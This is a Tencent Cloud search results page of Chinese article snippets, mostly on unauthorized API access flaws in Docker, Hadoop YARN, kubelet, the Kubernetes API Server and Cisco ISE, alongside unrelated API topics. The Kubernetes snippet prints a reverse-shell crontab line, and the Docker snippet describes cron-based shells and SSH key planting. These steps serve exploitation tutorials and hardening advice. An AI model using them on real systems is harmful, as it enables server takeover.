文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    Docker API未授权漏洞复现

    01 漏洞成因 如果在docker上配置了远程访问，docker 节点上会开放一个TCP端口2375，绑定在0.0.0.0上，如果没有做限制的话，攻击者就可以通过Docker未授权来控制服务器 02 漏洞搭建...所以在这里直接使用脚本利用计划任务来反弹shell 这里尝试一个反弹shell的操作： 其中10.211.55.23是Kali的ip地址 10.211.55.2是docekr的未授权端口 import...05 实战 这里来模拟测试开启Docker API未授权之后，使用密钥登陆受害者机器 5.1 配置Docker支持远程访问 在这里使用我自己的阿里云主机进行测试 首先要配置docker支持远程访问 进行文件备份...5.3 关闭Docker API未授权 将我们的authorized_keys文件删除，将原来的文件复位 rm authorized_keys mv authorized_keys.bak authorized_keys

    4.5K20

    PowerBI API异步刷新教程

    首先，官方说明在这： Asynchronous refresh with the Power BI REST API (Preview) By using any programming language.../v1.0/myorg/groups/{groupId}/datasets/{datasetId}/refreshes 从链接中我们可以得到异步刷新的整个逻辑链条： 而这个api连接方式其实就是在Refresh...我们去刷新结果里看看： 我分别对这个数据集进行了手动、API全部刷新和API异步刷新，三次刷新的结果显示是不同的： 手动刷新会显示“按需”，走API的会显示“via api”，但是第三次的异步刷新，...我们先观察一下不同刷新方式消耗的时间： 手动刷新基本上在10秒钟以上，走api的全模型刷新也差不多，但是异步刷新只需要5秒。 对于小模型而言，5秒钟和10秒钟的差距并不大。...但是对于一些较大模型来说，刷新整个报告，无论是手动还是api还是计划刷新，往往都需要几分钟甚至几十分钟，但是异步刷新其中的一个或几个表仅仅需要几秒钟时间： 可以极大地提高刷新效率！

    4.1K20

    Hadoop Yarn REST API未授权漏洞利用挖矿分析

    一、背景情况 5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击，攻击者可以在未授权的情况下远程执行代码的安全问题进行预警，在预警的前后我们曾多次捕获相关的攻击案例...YARN提供有默认开放在8088和8090的REST API（默认前者）允许用户直接通过API进行相关的应用创建、任务提交执行等操作，如果配置不当，REST API将会开放在公网导致未授权访问的问题，那么任何黑客则就均可利用其进行远程命令执行...更多漏洞详情可以参考 http://bbs.qcloud.com/thread-50090-1-1.html 三、入侵分析 在本次分析的案例中，受害机器部署有Hadoop YARN，并且存在未授权访问的安全问题...，黑客直接利用开放在8088的REST API提交执行命令，来实现在服务器内下载执行.sh脚本，从而再进一步下载启动挖矿程序达到挖矿的目的。

    4.9K60

    kubelet API未授权访问漏洞：成因、危害、排查、整改

    kubelet作为Kubernetes（简称K8s）集群节点核心组件，负责容器生命周期管理、资源调度等关键功能，其API接口若配置不当，易引发未授权访问漏洞，成为攻击者突破集群防线的高频入口。...1.3 认证配置错误或凭证泄露客户端证书过期、权限配置异常，或高权限Token明文存储、泄露；第三方运维、监控工具被分配过高权限，且凭证未定期轮换，均会导致认证机制失效，形成“伪未授权”访问风险。...二、漏洞危害：被利用后的核心风险漏洞被未授权攻击者利用后，会实现从节点到集群的多维度渗透，核心危害体现在4方面：1....窃取敏感信息：可查询节点、Pod、容器的全部配置，获取环境变量中存储的数据库密码、API密钥、Token等核心敏感数据，为进一步渗透提供条件；2....建立长效安全管控：部署Prometheus、Grafana等监控工具，实时监控kubelet API访问情况，设置异常访问告警规则；开启日志审计功能，记录API访问详情，便于安全溯源；加强运维人员安全培训

    8110

    API NEWS | API进化下的威胁升级：攻击速度刷新纪录

    欢迎大家围观小阑精心整理的API安全最新资讯，在这里你能看到最专业、最前沿的API安全技术和产业资讯，我们提供关于全球API安全资讯与信息安全深度观察。...报告得出的结论是，根据2022年的数据，API正面临越来越多的攻击，并且存在以下引人注目的趋势： API攻击飙升：报告显示，对观察到的API的攻击增长了197%。...预计2024年API请求命中数将达到42万亿次，这显示了API在全球范围内的广泛应用。与此同时，API也面临着严峻的安全挑战，据Gartner预测：到2024年，由API安全引起的数据泄露风险将翻倍。...2019年，OWASP首次发布了API Security Top 10，后来随着API应用的发展和安全实践的深化，OWASP于2023年正式发布了API Security Top 10的内容更新，对API...最后是“API10：2023 –第三方API的不安全调用”，指的是第三方API调用中隐藏的信任危机。开发人员通常更倾向于来自第三方API的数据，而不是用户自己输入的数据。

    49210

    56. vLLM 核心模块逐文件：api_server.py

    作者：HOS(安全风信子) 日期：2026-01-21 来源平台：GitHub 摘要： 本文深入剖析vLLM推理引擎中的api_server.py模块，作为vLLM的服务层核心，api_server.py...：包括流式输出、速率限制、安全认证等 与主流框架兼容：支持OpenAI API等主流API规范 1.2 vLLM API服务器的定位 vLLM的api_server.py模块是其服务化部署的核心组件，基于...：结合容器化技术如Docker、Kubernetes，实现服务的自动伸缩 安全增强：加强认证、授权、速率限制等安全机制，保护服务安全 多模型支持：支持同时部署和服务多个模型，提高资源利用率 vLLM的api_server.py...核心更新亮点与新要素 vLLM的api_server.py模块在最新版本中引入了多项重要更新和优化，主要包括以下几个方面： 2.1 统一的API设计 vLLM API服务器采用了统一的API设计，支持多种模型和推理模式...技术深度拆解与实现分析 本节将对vLLM api_server.py模块的源码进行深度拆解，分析其架构设计、核心功能实现和性能优化策略。

    11210

    【漏洞修复】Docker remote api未授权访问复现和修复

    Docker swarm 是一个将docker集群变成单一虚拟的docker host工具，使用标准的Docker API，能够方便docker集群的管理和扩展，由docker官方提供。...docker swarm的时候，管理的docker 节点上会开放一个TCP端口2375，绑定在0.0.0.0上，http访问会返回 404 page not found ，其实这是 Docker Remote API...containers/json 会返回服务器当前运行的 container列表，和在docker CLI上执行 docker ps的效果一样，其他操作比如创建/删除container，拉取image等操作也都可以通过API...调用完成， 0x02 漏洞危害 Docker daemon api是使用url代替命令行来操作docker，docker swarm 是docker下的集群管理工具，在开放2375端口来监听集群容器时...，会调用这个api，可以执行docker命令，root权限启动docker情况下可直接可以控制服务器。

    10K71

    K8s API Server未授权利用思路

    设置证书和秘钥的标识，–tls-cert-file，–tls-private-key-file 以上两个端口主要存在以下两类安全风险： 开发者使用8080端口并将其暴露在公网上，攻击者就可以通过该端口的API...端口以管理员权限向集群内部下发指令 漏洞检测 在浏览器中访问以下URL： #格式说明 http://ip:port/ #使用实例 http://192.168.17.144:8080/ 返回以上信息说明存在K8s API...Server未授权访问漏洞~ 漏洞利用 利用方式按严重程度可分为以下两种攻击类型： 通过利用kubectl客户端调用Secure Port接口去控制已经创建好的容器 通过创建一个自定义的容器将系统根目录的文件挂在到...bash -i >& /dev/tcp/x.x.x.x/8888 0>&1\n" >> /mnt/etc/crontab Step 6：成功获取shell 文末小结 本篇文章介绍了Kubernetes API...Server未授权访问的漏洞利用方法，在实际应用中我们需要注意对API Server的访问控制和安全加固，确保Kubernetes集群的安全性，同时也需要及时关注漏洞信息和安全通告，采取相应的修复措施

    2K10

    【漏洞通报】Cisco ISE API 未授权远程代码执行漏洞

    漏洞情况近期，火山信安实验室监测发现， Cisco Identity Services Engine (ISE) 的 REST API 接口存在高危安全漏洞（CVE-2025-20281，CVSS v3.1...该漏洞源于 ISE 未对特定 API 端点实施身份验证和授权检查，攻击者无需任何凭证即可通过构造恶意 HTTP 请求，直接在受影响设备上执行任意操作系统命令，导致完全系统控制。...0x01漏洞利用方式攻击者可通过向 CSE ISE 管理接口的未公开 API 端点（如 /ers/config/networkdevice/ 或 /admin/API/mnt/Session/，具体路径需结合实际环境探测...Cisco ISE 3.2.2 及以上启用 Cisco ISE 多因素认证（MFA），强制管理员使用硬件令牌或生物识别登录定期审计 ISE 日志（/var/log/ise/ers.log），监控异常 API

    25010

    未鉴权API告警机制是否可靠？腾讯云API安全为业务加上“智能锁”

    摘要 未鉴权API漏洞是数据泄露与攻击的主要入口，但其告警机制常因误报、漏报而受质疑。...导语 在数字化业务中，API接口承担着核心数据交互使命，但未鉴权API（如接口未验证调用方身份）可能成为黑客越权访问的“后门”。...事实上，借助智能化工具如腾讯云API安全，企业可大幅提升告警精准度。本文将从技术原理与实战角度，解析如何让未鉴权API告警从“虚警频发”迈向“精准狙击”。...一、未鉴权API告警机制的常见挑战 未鉴权API告警机制旨在检测接口调用中缺失身份验证凭据的行为，但其可靠性受多重因素制约： 规则静态化：传统规则依赖手动配置参数必填项，难以适应动态API资产变化，...若检测到未鉴权访问，立即触发告警。 可靠性保障：支持对域名或特定API路径配置规则，避免“一刀切”策略。

    14210

    Elasticsearch-py 2.3版本的API翻译文档（一）

    参考资料 TOC Elasticsearch API Documentation Global options 一、Ignore 如果elasticsearch返回2XX响应，则API调用被视为成功（并将返回响应...请注意，对于存储在索引中的文档，这是一个接近实时的API，因为术语向量在下次刷新之前不可用。...如果即使没有未提交的更改，也应增加事务日志ID，这非常有用。...（此设置可视为内部）| |ignore_unavailable | 当不可用（丢失或关闭）时是否应忽略指定的具体索引| |wait_if_ongoing | 如果设置为true，则刷新操作将阻塞，直到执行了另一个刷新操作已执行时才执行刷新...indices-aliases.html 在V5版本已被移除 https://discuss.elastic.co/t/get-aliases-removed-from-elasticsearch-py-python

    6.5K50
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券